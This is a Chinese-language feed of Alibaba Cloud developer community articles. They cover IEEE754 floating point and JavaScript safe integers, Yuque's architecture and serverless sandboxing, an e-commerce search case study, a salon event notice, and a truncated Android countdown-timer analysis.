    在解答上面这些问题前,先介绍本文涉及到的重要基础:IEEE754浮点数标准。如果大家对IEEE754的细节烂熟于心的话,可以跳过本段内容,直接看下一段,问题解答部分。

    当前业界流行的浮点数标准是IEEE754,该标准规定了4种浮点数类型:单精度、双精度、延伸单精度、延伸双精度。前两种类型是最常用的。我们单介绍一下双精度,掌握双精度,自然就了解了单精度(而且上述问题场景也是涉及双精度)。

    双精度分配了8个字节,总共64位,从左至右划分是1位符号、11位指数、52位有效数字。如下图所示,以0.7为例,展示了双精度浮点数的存储方式。

    image.png

    存储位分配

    1)符号位:在最高二进制位上分配1位表示浮点数的符号,0表示正数,1表示负数。

    2)指数:也叫阶码位。

    在符号位右侧分配11位用来存储指数,IEEE754标准规定阶码位存储的是指数对应的移码,而不是指数的原码或补码。根据计算机组成原理中对移码的定义可知,移码是将一个真值在数轴上正向平移一个偏移量之后得到的,即[x]移=x+2^(n-1)(n为x的二进制位数,含符号位)。移码的几何意义是把真值映射到一个正数域,其特点是可以直观地反映两个真值的大小,即移码大的真值也大。基于这个特点,对计算机来说用移码比较两个真值的大小非常简单,只要高位对齐后逐个比较即可,不用考虑负号的问题,这也是阶码会采用移码表示的原因所在。

    由于阶码实际存储的是指数的移码,所以指数与阶码之间的换算关系就是指数与它的移码之间的换算关系。假设指数的真值为e,阶码为E ,则有 E = e + (2 ^ (n-1) - 1),其中 2 ^ (n-1) - 1 是IEEE754 标准规定的偏移量。则双精度下,偏移量为1023,11位二进制取值范围为[0,2047],因为全0是机器零、全1是无穷大都被当做特殊值处理,所以E的取值范围为[1,2046],减去偏移量,可得e的取值范围为[-1022,1023] 。

    3)有效数字:也叫尾数位。最右侧分配连续的52位用来存储有效数字,IEEE754标准规定尾数以原码表示。

    浮点数和十进制之间的转换

    在实际实现中,浮点数和十进制之间的转换规则有3种情况:

    1 规格化

    指数位不是全零,且不是全1时,有效数字最高位前默认增加1,不占用任何比特位。那么,转十进制计算公式为:

    (-1)^s*(1+m/2^52)*2^(E-1023)

    其中s为符号,m为尾数,E为阶码。比如上图中的0.7 :

    1)符号位:是0,代表正数。

    2)指数位:01111111110,转换为十进制,得阶码E为1022,则真值e=1022-1023=-1。

    3)有效数字:

    0110011001100110011001100110011001100110011001100110

    转换为十进制,尾数m为:1801439850948198。

    4)计算结果:

    (1+1801439850948198/2^52)*(2^-1) =0.6999999999999999555910790149937383830547332763671875

    经过显示优化算法后(在后文中详述),为0.7。

    2 非规格化

    指数位是全零时,有效数字最高位前默认为0。那么,转十进制计算公式:

    (-1)^s*(0+m/2^52)*2^(-1022)

    注意,指数位是-1022,而不是-1023,这是为了平滑有效数字最高位前没有1。比如非规格最小正值为:

    0x0.00000000000012^-1022=2^-52 2^-1022 = 4.9*10^-324

    3 特殊值

    指数全为1,有效数字全为0时,代表无穷大;有效数字不为0时,代表NaN(不是数字)。

    问题解答

    1 JS的Number类型能安全表达的最大整型数值是多少?为什么?

    规约中已经指出:

    在Long类型能表示的最大值是2的63次方-1,在取值范围之内,超过2的53次方(9007199254740992)的数值转化为JS的Number时,有些数值会有精度损失。

    “2的53次方”这个限制是怎么来的呢?如果看懂上文IEEE754基础回顾,不难得出:在浮点数规格化下,双精度浮点数的有效数字有52位,加上有效数字最高位前默认为1,共53位,所以JS的Number能保障无精度损失表达的最大整数是2的53次方。

    而这里的题问是:“能安全表达的最大整型”,安全表达的要求,除了能准确表达,还有正确比较。2^53=9007199254740992,实际上,

    9007199254740992+1 == 9007199254740992

    的比较结果为true。如下图所示:

    image.png

    这个测试结果足以说明2^53不是一个安全整数,因为它不能唯一确定一个自然整数,实际上9007199254740992、9007199254740993,都对应这个值。因此这个问题的答案是:2^53-1。

    2 在Long取值范围内,2的指数次整数转换为JS的Number类型,不会有精度丢失,但能放心使用么?

    规约中指出:

    在Long取值范围内,任何2的指数次整数都是绝对不会存在精度损失的,所以说精度损失是一个概率问题。若浮点数尾数位与指数位空间不限,则可以精确表示任何整数。

    后半句,我们就不说了,因为绝对没毛病,空间不限,不仅是任何整数可以精确表示,无理数我们也可以挑战一下。我们重点看前半句,根据本文前面所述基础回顾,双精度浮点数的指数取值范围为[-1022,1023],而指数是以2为底数。另外,双精度浮点数的取值范围,比Long大,所以,理论上Long型变量中2的指数次整数一定可以准确转换为JS的umber类型。但在JS中,实际情况,却是下面这样:

    image.png

    2的55次方的准确计算结果是:36028797018963968,而从上图可看到,JS的计算结果是:36028797018963970。而且直接输入36028797018963968,控制台显示结果是36028797018963970。

    这个测试结果,已经对本问题给出答案。为了确保程序准确,本文建议,在整数场景下,对于JS的Number类型使用,严格限制在2^53-1以内,最好还是信规约的,直接使用String类型。

    为什么会出现上面的测试现象呢?

    实际上,我们在程序中输入一个浮点数a,在输出得到a',会经历以下过程:

    1)输入时:按照IEEE754规则,将a存储。这个过程很有可能会发生精度损失。

    2)输出时:按照IEEE754规则,计算a对应的值。根据计算结果,寻找一个最短的十进制数a',且要保障a'不会和a隔壁浮点数的范围冲突。a隔壁浮点数是什么意思呢?由于存储位数是限定的,浮点数其实是一个离散的集合,两个紧邻的浮点数之间,还存在着无数的自然数字,无法表达。假设有f1、f2、f3三个升序浮点数,且它们之间的距离,不可能在拉近。则在这三个浮点数之间,按照范围来划分自然数。而浮点数输出的过程,就是在自己范围中找一个最适合的自然数,作为输出。如何找到最合适的自然数,这是一个比较复杂的浮点数输出算法,大家感兴趣的,可参考相关论文[1]。

    image.png

    所以,36028797018963968和36028797018963970这两个自然数,对应到计算机浮点数来说,其实是同一个存储结果,双精度浮点数无法区分它们,最终呈现哪一个十进制数,就看浮点数的输出算法了。下图这个例子可以说明这两个数字在浮点数中是相等的。另外,大家可以想想输入0.7,输出是0.7的问题,浮点数是无法精确存储0.7,输出却能够精确,也是因为有浮点数输出算法控制(特别注意,这个输出算法无法保证所有情况下,输入等于输出,它只是尽力确保输出符合正常的认知)。

    image.png

    扩展

    JS的Number类型既用来做整数计算、也用来做浮点数计算。其转换为String输出的规则也会影响我们使用,具体规则如下:
    image.png

    上面是一段典型的又臭又长但逻辑很严谨的描述,我总结了一个不是很严谨,但好理解的说法,大家可以参考一下:

    除了小数点前的数字位数(不算开始的0)少于22位,且绝对值大于等于1e-6的情况,其余都用科学计数法格式化输出。举例:

    image.png

    3 我们一般都知道十进制数转二进制浮点数有可能会出现精度丢失,精度丢失怎么发生的?

    通过前面IEEE754分析,我们知道十进制数存储到计算机,需要转换为二进制。有两种情况,会导致转换后精度损失:

    1)转换结果是无限循环数或无理数

    比如0.1转换成二进制为:

    0.0001 10011001100110011001100110011...

    其中0011在循环。将0.1转换为双精度浮点数二进制存储为:

    0 01111111011 1001100110011001100110011001100110011001100110011001

    按照本文前面所述基础回顾中的计算公式 (-1)^s(1+m/2^52)2^(E-1023)计算,可得转换回十进制为:0.09999999999999999。这里可以看出,浮点数有时是无法精确表达一个自然数,这个和十进制中1/3 =0.333333333333333...是一个道理。

    2)转换结果长度,超过有效数字位数,超过部分会被舍弃

    IEEE754默认是舍入到最近的值,如果“舍”和“入”一样接近,那么取结果为偶数的选择。

    另外,在浮点数计算过程中,也可能引起精度丢失。比如,浮点数加减运算执行步骤分为:

    零值检测 -> 对阶操作 -> 尾数求和 -> 结果规格化 -> 结果舍入

    其中对阶和规格化都有可能造成精度损失:

    • 对阶:是通过尾数右移(左移会导致高位被移出,误差更大,所以只能是右移),将小指数改成大指数,达到指数阶码对齐的效果,而右移出的位,会作为保护位暂存,在结果舍入中处理,这一步有可能导致精度丢失。
    • 规格化:是为了保障计算结果的尾数最高位是1,视情况有可能会出现右规,即将尾数右移,从而导致精度丢失。

    4 如果不幸中招,服务端正在使用Long类型作为大整数的返回,有哪些办法解决?

    需要分情况。

    1)通过Web的ajax异步接口,以Json串的形式返回给前端

    方案一:如果,返回Long型所在的POJO对象在其他地方无使用,那么可以将后端的Long型直接修改成String型。

    方案二:如果,返回给前端的Json串是将一个POJO对象Json序列化而来,并且这个POJO对象还在其他地方使用,而无法直接将其中的Long型属性直接改为String,那么可以采用以下方式:

    String orderDetailString = JSON.toJSONString(orderVO, SerializerFeature.BrowserCompatible);

    SerializerFeature.BrowserCompatible 可以自动将数值变成字符串返回,解决精度问题。

    方案三:如果,上述两种方式都不适合,那么这种方式就需要后端返回一个新的String类型,前端使用新的,并后续上线后下掉老的Long型(推荐使用该方式,因为可以明确使用String型,防止后续误用Long型)。

    2)使用node的方式,直接通过调用后端接口的方式获取

    方案一:使用npm的js-2-java的 java.Long(orderId) 方法兼容一下。

    方案二:后端接口返回一个新的String类型的订单ID,前端使用新的属性字段(推荐使用,防止后续踩坑)。

    引用

    [1]http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.52.2247&rank=2
    [2]《码出高效》

    ]]>
    语雀的技术架构演进之路-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    作者 | 不四

    每个技术人心中或多或少都有一个「产品梦」,好的技术需要搭配好的产品,才能让用户爱不释手,尤其是做一款知识服务型产品。

    作者何翊宇(花名:不四,微信:dead_horse)是蚂蚁金服体验技术部高级前端技术专家,语雀产品技术负责人。本文从技术架构的视角,回顾了语雀的原型、内部服务和对外商业化的全过程,并对函数计算在语雀架构演进过程中所扮演的角色做了详细的介绍。

    语雀是一个专业的云端知识库,用于团队的文档协作。现在已是阿里员工进行文档编写和知识沉淀的标配,并于 2018 年开始对外提供服务。

    原型阶段

    回到故事的开始。

    2016 年,语雀孵化自蚂蚁科技,当时,蚂蚁金融云需要一个工具来承载它的文档,负责的技术同学利用业余时间,搭建了这个文档工具。项目的初期,没有任何人员和资源支持,同时也是为了快速验证原型,技术选型上选择了最低成本的方案。

    底层服务完全基于体验技术部内部提供的 BaaS 服务和容器托管平台:

    • Object 服务:一个类 MongoDB 的数据存储服务;
    • File 服务:阿里云 OSS 的基础上封装的一个文件存储服务;
    • DockerLab:一个容器托管平台;

    image.png
    这些服务和平台都是基于 Node.js 实现的,专门给内部创新型应用使用,也正是由于有这些降低创新成本的内部服务,才给工程师们提供了更好的创新环境。

    语雀的应用层服务端,自然而然的选用了蚂蚁体验技术部开源的 Node.js Web 框架 Egg(蚂蚁内部的封装 Chair),通过一个单体 Web 应用实现服务端。应用层客户端也选用了 React 技术栈,结合内部的 antd,并采用 CodeMirror 实现了一个功能强大、体验优雅的 markdown 在线编辑器。

    当时仅仅是一个工程师的业余项目,采用内部专为创新应用提供的 BaaS 服务和一系列的开源技术,验证了在线文档工具这个产品原型。

    内部服务阶段

    2017年,随着语雀得到团队内部的认可,他的目标已经不仅仅是金融云的文档工具,而是成为阿里所有员工的知识管理平台。不仅面向技术人员 Markdown 编辑器,还向非技术知识创作者,提供了富文本编辑器,并选择了更“Web”的路线,在富文本编辑器中加入了公式、文本绘图、思维导图等特色功能。而随着语雀在知识管理领域的不断探索,知识管理的三层结构(团队、知识库、文档)开始成型。

    在此之上的协作、分享、搜索与消息动态等功能越来越复杂单纯的依靠 BaaS 服务已经无法满足语雀的业务需求了。

    为了应对业务发展带来的挑战,我们主要从下面几个点进行改造:

    • BaaS 服务虽然使用简单成本低,但是它们提供的功能不足以满足语雀业务的发展,同时稳定性上也有不足。所以我们将底层服务由 BaaS 替换成了阿里云的 IaaS 服务(MySQL、OSS、缓存、搜索等服务)。
    • Web 层仍然采用了 Node.js 与 Egg 框架,但是业务层借鉴 rails 社区的实践开始变成了一个大型单体应用,通过引入 ORM 构建数据模型层,让代码的分层更清晰。
    • 前端编辑器从 codeMirror 迁移到 Slate。为了更好的实现语雀编辑器的功能,我们内部 fork 了 Slate 进行深入开发,同时也自定义了一个独立的内容存储格式,以提供更高效的数据处理和更好的兼容性。

    image.png
    在内部服务阶段,语雀已经成为了一个正式的产品,通过在阿里内部的磨炼,语雀的产品形态基本定型。

    对外商业化阶段

    随着语雀在内部的影响力越来越大,一些离职出去创业的阿里校友们开始找到玉伯(蚂蚁体验技术部研究员):“语雀挺好用的,有没有考虑商业化之后让外面的公司也能够用起来?”

    经过小半年的酝酿和重构,2018 年初,语雀开始正式对外提供服务,进行商业化。

    当一个应用走出公司内到商业化环境中,面临的技术挑战一下子就变大了。最核心的知识创作管理部分的功能越来越复杂,表格、思维导图等新格式的加入,多人实时协同的需求对编辑器技术提出了更高的挑战。而为了更好的服务企业用户与个人用户,语雀在企业服务、会员服务等方面也投入了很大精力。在业务快速发展的同时,服务商业化对质量、安全和稳定性也提出了更高的要求。

    为了应对业务发展,语雀的架构也随之发生了演进:

    我们将底层的依赖完全上云,全部迁移到了阿里云上,阿里云不仅仅提供了基础的存储、计算能力,同时也提供了更丰富的高级服务,同时在稳定性上也有保障。

    • 丰富的云计算基础服务,保障语雀的服务端可以选用最适合语雀业务的的存储、队列、搜索引擎等基础服务;
    • 更多人工智能服务给语雀的产品带来了更多的可能性,包括 OCR 识图、智能翻译等服务,最终都直接转化成为了语雀的特色服务;

    而在应用层,语雀的服务端依然还是以一个基于 Egg 框架的大型的 Node.js Web 应用为主。但是随着功能越来越多,也开始将一些相对比较独立的服务从主服务中拆出去,可以把这些服务分成几类:

    • 微服务类:例如多人实时协同服务,由于它相对独立,且长连接服务不适合频繁发布,所以我们将其拆成了一个独立的微服务,保持其稳定性。
    • 任务服务类:像语雀提供的大量本地文件预览服务,会产生一些任务比较消耗资源、依赖复杂。我们将其从主服务中剥离,可以避免不可控的依赖和资源消耗对主服务造成影响。
    • 函数计算类:类似 Plantuml 预览、Mermaid 预览等任务,对响应时间的敏感度不高,且依赖可以打包到阿里云函数计算中,我们会将其放到函数计算中运行,既省钱又安全。

    随着编辑器越来越复杂,在 slate 的基础上进行开发遇到的问题越来越多。最终语雀还是走上了自研编辑器的道路,基于浏览器的 Contenteditable 实现了富文本编辑器,通过 Canvas 实现了表格编辑器,通过 SVG 实现了思维导图编辑器。
    image.png
    语雀的这个阶段(也是现在所处的阶段)是商业化阶段,但是我们仍然保持了一个很小的团队,通过 JavaScript 全栈进行研发。底层的服务全面上云,借力云服务打造语雀的特色功能。同时为企业级用户和个人知识工作者者提供知识创作和管理工具。

    和函数计算的不解之缘

    语雀是一个复杂的 Web 应用,也是一个典型的数据密集型应用(Data-Intensive Application),背后依赖了大量的数据库等云服务。语雀服务端是 Node.js 技术栈。当提到 node 的时候,可能立刻就会有几个词浮现在我们脑海之中:单线程(single-threaded)、非阻塞(non-blocking)、异步(asynchronously programming),这些特性一方面非常的适合于构建可扩展的网络应用,用来实现 Web 服务这类 I/O 密集型的应用,另一方面它也是大家一直对 node 诟病的地方,对 CPU 密集型的场景不够友好,一旦有任何阻塞进程的方法被执行,整个进程就被阻塞。

    像语雀这样用 node 实现整个服务端逻辑的应用,很难保证不会出现一些场景可能会消耗大量 CPU 甚至是死循环阻塞进程的,例如以 markdown 转换举例,由于用户的输入无法穷举,总有各种可能让转换代码进入到一个低效甚至是死循环的场景之中。在 node 刚出世的年代,很难给这些问题找到完美的解决办法,而即便是 Java 等基于线程并发模型的语言,在遇到这样的场景也很头痛,毕竟 CPU 对于 web 应用来说都是非常重要的资源。而随着基础设置越来越完善,当函数计算出现时,node 最大的短板看起来有了一个比较完美的解决方案。

    阿里云函数计算是事件驱动的全托管计算服务。通过函数计算,您无需管理服务器等基础设施,只需编写代码并上传,只需要为代码实际运行所消耗的资源付费,代码未运行则不产生费用。

    把函数计算引入之后,我们可以将那些 CPU 密集型、存在不稳定因素的操作统统放到函数计算服务中去执行,而我们的主服务再次回归到了 I/O 密集型应用模型,又可以愉快的享受 node 给我们带来的高效研发福利了!

    以语雀中遇到的一个实际场景来举例,用户传入了一些 HTML 或者 Markdown 格式的文档内容,我们需要将其转换成为语雀自己的文档格式。在绝大部分情况下,解析用户输入的内容都很快,然而依然存在某些无法预料到的场景会触发解析器的 bug 而导致死循环的出现,甚至我们不太敢升级 Markdown 解析库和相关插件以免引入更多的问题。但是随着函数计算的引入,我们将这个消耗 CPU 的转换逻辑放到函数计算上,语雀的主服务稳定性不会再被影响。
    image.png

    除了帮助 Web 系统分担一些 CPU 密集型操作以外,函数计算还能做什么呢?

    在语雀上我们支持各种代码形式来绘图,包括 Plantuml、公式、Mermaid,还有一些将文档导出成 PDF、图片等功能。这些场景有两个特点:

    • 他们依赖于一些复杂的应用软件,例如 Puppeteer、Graphviz 等;
    • 可能需要执行用户输入的内容;

    支持这类场景看似简单,通过 process.exec 子进程调用一下就搞定了。但是当我们想把它做成一个稳定的对外服务时,问题就出现了。这些复杂的应用软件可能从设计上并没有考虑要长期运行,长期运行时的内存占用、稳定性可能会有一些问题,同时在被大并发调用时,对 CPU 的压力非常大。再加上有些场景需要运行用户输入的代码,攻击者通过构建恶意输入,可以在服务器上运行攻击代码,非常危险。

    在没有引入函数计算之前,语雀为了支持这些功能,尽管单独分配了一个任务集群,在上面运行这些三方服务,接受主服务的请求来避免影响主服务的稳定性。但是为了解决上面提到的一系列问题还需要付出很大的成本:

    • 需要维持一个不小的任务集群,尽管可能大部分时间都用不上那么多资源。
    • 需要定时对三方应用软件进行重启,避免长时间运行带来的内存泄露,即便如此有些特殊请求也会造成第三方软件的不稳定。
    • 对用户的输入进行检测和过滤,防止黑客恶意攻击,而黑客的攻击代码很难完全防住,安全风险依旧很大。

    image.png
    最后语雀将所有的第三方服务都分别打包在函数中,将这个任务集群上的功能都拆分成了一系列的函数放到了函数计算上。通过函数计算的特点一下解决了上面的所有问题:

    • 函数计算的计费模式是按照代码实际运行的 CPU 时间计费,不需要长期维护一个任务集群了。
    • 函数计算上的函数运行时尽管会有一些常驻函数的优化,但是基本不用考虑长期运行带来的一系列问题,且每次调用之间都相互独立,不会互相影响。
    • 用户的输入代码是运行在一个沙箱容器中,即便不对用户输入做任何过滤,恶意攻击者也拿不到任何敏感信息,同时也无法进入内部网络执行代码,更加安全。

    image.png

    除了上面提到的这些功能之外,语雀最近还使用 OSS + 函数计算替换了之前使用的阿里云视频点播服务来进行视频和音频的转码。

    由于浏览器可以直接支持播放的音视频格式并不多,大量用户上传的视频想要能够直接在语雀上进行播放需要对它们进行转码,业界一般都是通过 FFmpeg 来对音视频进行转码的。转码服务也是一个典型的 CPU 密集型场景,如果要自己搭建视频转码集群会面临大量的资源浪费,而使用阿里云视频点播服务,成本也比较高,而且能够控制的东西也不够多。函数计算直接集成了 FFmpeg 提供音视频处理能力,并集成到应用中心,配合 SLS 完善了监控和数据分析。语雀将音视频处理从视频点播服务迁移到函数计算之后,通过优化压缩率、减少不必要的转码等优化,将费用降低至之前的 1/5。
    image.png
    从语雀的实践来看,语雀并没有像 SFF 一样将 Web 服务迁移到函数计算之上(SFF 模式并不是现在的函数计算架构所擅长的),但是函数计算在语雀整体的架构中对稳定性、安全性和成本控制起到了非常重要的作用。总结下来函数计算非常适合下面几种场景:

    • 对于时效性要求不算非常高的 CPU 密集型操作,分担主服务 CPU 压力。
    • 当做沙箱环境执行用户提交的代码。
    • 运行不稳定的三方应用软件服务。
    • 需要很强动态伸缩能力的服务。

    在引入函数计算之后,语雀现阶段的架构变成了以一个 Monolith Application 为核心,并将一些独立的功能模块根据使用场景和对能力的要求分别拆分成了 Microservices 和 Serverless 架构。应用架构与团队成员组成、业务形态息息相关,但是随着各种云服务与基础设施的完善,我们可以更自如的选择更合适的架构。
    image.png
    为什么要特别把 Serverless 单独拿出来说呢?还记得之前说 Node.js 是单线程,不适合 CPU 密集型任务么?

    由于 Serverless 的出现,我们可以将这些存在安全风险的,消耗大量 CPU 计算的任务都迁移到函数计算上。它运行在沙箱环境中,不用担心用户的恶意代码造成安全风险,同时将这些 CPU 密集型的任务从主服务中剥离,避免出现并发时阻塞主服务。按需付费的方式也可以大大节约成本,不需要为低频功能场景部署一个常驻服务。所以我们会尽量的把这类服务都迁移到 Serverless 上(如阿里云函数计算)。

    结语 | 语雀的技术栈选择

    语雀这几年一步步发展过来,背后的技术一直在演进,但是始终遵循了几条原则:

    • 技术栈选型要匹配产品发展阶段。产品在不同的阶段对技术提出的要求是不一样的,越前期,对迭代效率的要求越高,商业化规模化之后,对稳定性、性能的要求就会变高。不需要一上来就用最先进的技术方案,而是需要和产品阶段一起考虑和权衡。
    • 技术栈选型要结合团队成员的技术背景。语雀选择 JavaScript 全栈的原因是孵化语雀的团队,大部分都是 JavaScript 背景的程序员,同时 Node.js 在蚂蚁也算是一等公民,配套的设施相对完善。
    • 最重要的一点是,不论选择什么技术栈,安全、稳定、可维护(扩展)都是要考虑清楚的。用什么语言、用什么服务会变化,但是这些基础的安全意识、稳定性意识,如何编写可维护的代码,都是决定项目能否长期发展下去的重要因素。

    image.png
    关注「Alibaba F2E」
    把握阿里巴巴前端新动向

    ]]>
    电商搜索“无结果率高,体验差”怎么办?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 垂直电商与综合类电商相比,具有更精准的市场定位、更深化的产品与服务质量、更强的客户粘性和更独特的品牌附加度的优势,所以搜索性能的好坏直接影响着业务最终结果

    案例背景:

    某日活千万级的垂直类电商平台,业务以社区+商城形式开展,商城业务是商业收入的主要来源,大部分用户有明确的购买指向性,其中商品搜索天级PV3000万+,搜索引导的成交占比全部成交的60%以上,是站内最重要的功能,在用户满意度调研中发现对搜索体验吐槽连连,反馈的主要问题是站内商品搜不到,个人卖家发布的商品排序靠后

    搜索问题反馈

    (1)用户:搜索不到想要的商品,体验差;
    (2)运营: 站内搜索的无结果率接近60%,说明每天有1800万的PV转换为0,流量白白浪费;
    1597059169694-cf863434-8e08-45b0-8689-f4c4373d2909.png

    (3)个人卖家: 个人卖家发布的商品排序靠后;打击发布商品积极性,影响平台价值定位和圈层生态,从而直接影响平台收益;

    搜索问题成因:

    (1)垂直小众的圈子,对于商品的叫法非常多样,并形成主流,用户搜索中不一定按照实际商品名称进行查询(例如:用户会搜“喷泡”其实想找的商品是Air Jordan AirFoamposite系列的鞋);
    (2)用户搜索表述错误(例如:搜“连衣群”其实是想搜“连衣裙”);
    (3)站内的搜索结果分3个tab呈现,分别为“销量”、“价格”、“新品”,用户搜索后默认展现的是“销量”tab下的结果,因此个人卖家发布产品由于销量少或无销量自然导致排序靠后,曝光量小,销量难增长,恶性循环;

    问题分析:

    (1)针对召回结果不理想情况,经分析发现自建ES服务没有对搜索关键词做智能的语义理解,甚至有些实体名词分词还是错误的;
    (2)针对排序问题,经分析需增加“综合”搜索结果呈现,根据核心索引优化排序算法;

    开放搜索解决方案:

    1595474121408-2e973285-9869-47c1-b46e-3c85c4cf4526.png
    (1)核心索引上配置使用了电商行业的查询语义理解,包括同义词、停用词、电商拼写纠错、电商实体识别等 ,就是这些功能将搜索关键词进行了系统可识别的智能改写,扩大召回相关结果;
    (2)针对商品别称问题,运营同学通过平时运营积累的专业词汇可视化同步到开放搜索做查询语义理解功能的补丁,通过灵活干预得以解决;
    (3)创建核心索引“商品标题、颜色、类目名称、品牌名称、运营优化文案、系列名称等”,将它们引入到排序表达式中,通过多个维度构建出更精细化的排序模型;
    (4)增加“综合”搜索tab,并默认展示“综合”搜索结果

    实践后的搜索性能对比:

    (1)搜索“詹姆斯球衣”输入成“詹慕斯球衣”
    • Before: 服务无法召回相关结果;
    • After: 纠错改写为“詹姆斯”进行查询,并且前端会提示“以下的结果是查询:詹姆斯球衣,仍然搜索詹慕斯球衣”;IMG_5180.PNG
    (2)搜索“喷泡”
    • Before:无法召回相关结果;
    • After: 召回到Air Jordan AirFoamposite系列的鞋
    1597058789960-e2f3639e-fc98-4d87-a9f1-4da9c9322289.jpeg
    (3)排序效果
    • Before:以销量默认排名,个人卖家排序靠后
    • After:提高搜索相关性增加更多商品曝光机会

    ]]>
    DevUP 沙龙 | 八月北京、青岛、厦门燥起来-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 炎热的周末不知去哪里耍,不如来参加阿里云开发者 DevUP 沙龙吧。三大城市火热来袭,专家面对面交流,更有实操环节加深理解。放松学习的同时还有机会结交志同道合的小伙伴,约约约!

    报名直通车:

    8月22日【青岛】活动:阿里云开发者 DevUP 沙龙 -青岛站 -阿里巴巴微服务技术的应用与实践

    8月22日【厦门】活动:阿里云人工智能+大数据的实践与应用-阿里云开发者DevUP 沙龙·厦门站

    8月27日【北京】活动:阿里云开发者 DevUP 沙龙 -北京站 -阿里云企业AIOT技术与解决方案沙龙

    大咖分享还有动手操作,更多精彩尽在【阿里云开发者 DevUP 沙龙】。活动时间均在周末,放松学习同时还有机会结交志同道合的小伙伴,还等什么快来参加吧<<<<<<<

    活动一:阿里云开发者 DevUP 沙龙 -青岛站 -阿里巴巴微服务技术的应用与实践

    微服务开发中,SpringCloud作为Spring生态中的针对微服务的技术框架,越来越受到各个企业技术人员的追捧。但是,SpringCloud中一些组件,在实践使用中,存在一定的局限。SpringCloudAlibaba,横空出世,替换了SpringCloud中的一些组件,使微服务在实践中,能够更便捷的、更优雅的实现落地。

    8月15日,上海ACE同城会特邀阿里平头哥的2位语音产品专家,从操作系统融合、解决方案支撑、语音市场趋势规划等方面,跟大家一起畅聊语音圈!

    时间:8月22日(周四)13:30-16:10
    地点:山东省青岛市崂山区海尔路170号鑫裕和大厦8楼

    活动亮点:
    1、面基!在青岛举办的线下技术沙龙。
    2、阵容!各类技术专家在线实践教学。
    3、干货!快速了解微服务相关知识。

    报名地址:https://survey.aliyun.com/apps/zhiliao/7irPO_3gv

    image.png

    活动二:阿里云人工智能+大数据的实践与应用-阿里云开发者DevUP 沙龙·厦门站

    阿里云开发者社区携手云原生后端、阿里云基础产品事业部共同出品了本次沙龙。

    现场邀请了4位阿里云专家为大家分享云计算行业人工智能+大数据的实践与应用,期待您的参与。

    时间:8月22日(周六)13:30——17:20
    地点:厦门市集美区杏林湾路营运中心1号楼2楼

    报名地址:https://developer.aliyun.com/article/769954

    image.png

    活动三:阿里云开发者 DevUP 沙龙 -北京站 -阿里云企业AIOT技术与解决方案沙龙

    在阿里云线上市场,近2万解决方案已经应用在几十万个城市,企业和工厂,无数家庭受天猫精灵带来的只能生活,物联网已经是基础设施,更是企业的核心竞争力。

    时间:8月27日(周四)13:30-17:30
    地点:北京市朝阳区望京东园4区4号楼——阿里中心·望京B座 2F-13文韵阁

    活动亮点:
    1、面基!在阿里园区举办的线下技术沙龙。
    2、阵容!阿里云各类技术专家在线教学。
    3、干货!快速打造企业级物联网平台和应用,实现数字化转型。

    报名地址:https://developer.aliyun.com/article/769911

    image.png

    各位小伙伴是不是按耐不住内心的激动了呢?快快点击下方的阅读原文报名,来和阿里巴巴的技术专家们深度交流吧!

    ACE同城会

    阿里云 ACE全称 Alibaba Cloud Engineer。意为阿里云的工程师、代表着云计算的建设者。同时“ACE”又是扑克牌中的“A”,因此阿里云ACE也寓意着是云计算领域王牌的一群人。

    ACE同城会是遍布在全国的开发者社群,作为国内优秀的开发者圈子,为所有开发者提供学习、交流的机会和平台。

    在全国48个城市成立了同城会,覆盖13万开发者,举办超100场线下活动。

    官网:https://mvp.aliyun.com/ace

    现开发者社区招募会长和班委,有意者钉钉扫码联系运营同学,加好友时请备注【ACE同城会会长/班委】。

    test

    ]]>
    倒计时方案深入分析-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 倒计时方案深入分析

    目录介绍

    • 01.使用多种方式实现倒计时
    • 02.各种倒计时器分析
    • 03.CountDownTimer解读
    • 04.Timer和TimerTask解读
    • 05.自定义倒计时器案例

    01.使用多种方式实现倒计时

    • 首先看一下需求

      • 要求可以创建多个倒计时器,可以暂停,以及恢复暂停。可以自由设置倒计时器总时间,倒计时间隔。下面会一步步实现一个多功能倒计时器。
    • 01.使用Handler实现倒计时

      • mHandler + runnable ,这种是最常见的一种方式。实质是不断调用mHandler.postDelayed(this, 1000)达到定时周期目的
    • 02.使用CountDownTimer实现倒计时

      • 也是利用mHandler + runnable,在此基础上简单封装一下。使用场景更强大,比如一个页面有多个倒计时器,用这个就很方便……
    • 03.利用Timer实现定时器

      • 使用Timer + TimerTask + handler方式实现倒计时
    • 04.使用chronometer控件倒计时

      • 新出的继承TextView组件,里头是使用了View.postDelayed + runnable实现倒计时
    • 05.利用动画实现倒计时

      • 这种方式用的比较少,但也是一种思路。主要是设置动画时间,在onAnimationUpdate监听设置倒计时处理
    • 具体代码案例可以看

    • 具体代码案例

    02.各种倒计时器分析

    • 第一种利用Handler实现倒计时

      • 这种用的很普遍,但存在一个问题。如果是一个页面需要开启多个倒计时【比如列表页面】,则比较难处理。
    • 第二种使用CountDownTimer实现倒计时

      • new CountDownTimer(5000, 1000).start()

        • 期待的效果是:“5-4-3-2-1-finish”或者“5-4-3-2-1-0”。这里,显示 0 和 finish 的时间应该是一致的,所以把 0 放在 onFinish() 里显示也可以。但实际有误差……
      • 存在的几个问题

        • 问题1. 每次 onTick() 都会有几毫秒的误差,并不是期待的准确的 "5000, 4000, 3000, 2000, 1000, 0"。
        • 问题2. 多运行几次,就会发现这几毫秒的误差,导致了计算得出的剩余秒数并不准确,如果你的倒计时需要显示剩余秒数,就会发生 秒数跳跃/缺失 的情况(比如一开始从“4”开始显示——缺少“5”,或者直接从“5”跳到了“3”——缺少“4”)。
        • 问题3. 最后一次 onTick() 到 onFinish() 的间隔通常超过了 1 秒,差不多是 2 秒左右。如果你的倒计时在显示秒数,就能很明显的感觉到最后 1 秒停顿的时间很长。
        • 问题4. 如果onTick耗时超时,比如超过了1000毫秒,则会导致出现onTick出现跳动问题
      • 解决方案

        • 具体看lib中的CountDownTimer类。下面也会分析到
        • 注意:onTick方法中如何执行耗时操作【大于1秒的执行代码】,建议使用handler消息机制进行处理,避免出现其他问题。
    • 第三种利用Timer实现定时器

      • 注意点

        • Timer和TimerTask都有cancel方法,而且最好同时调用;如果已经cancel,下次必须创建新的Timer才能schedule。
      • 可能存在的问题

